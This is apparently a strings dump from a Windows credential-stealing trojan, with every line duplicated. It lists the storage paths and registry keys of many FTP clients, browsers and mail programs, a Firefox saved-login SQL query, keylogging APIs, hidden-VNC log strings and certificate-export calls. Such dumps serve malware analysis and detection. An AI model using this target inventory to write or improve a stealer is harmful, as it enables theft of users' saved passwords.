\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

%Program Files%\Java\jre6\bin\jqs.exe

%Program Files%\Java\jre6\bin\jqs.exe

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort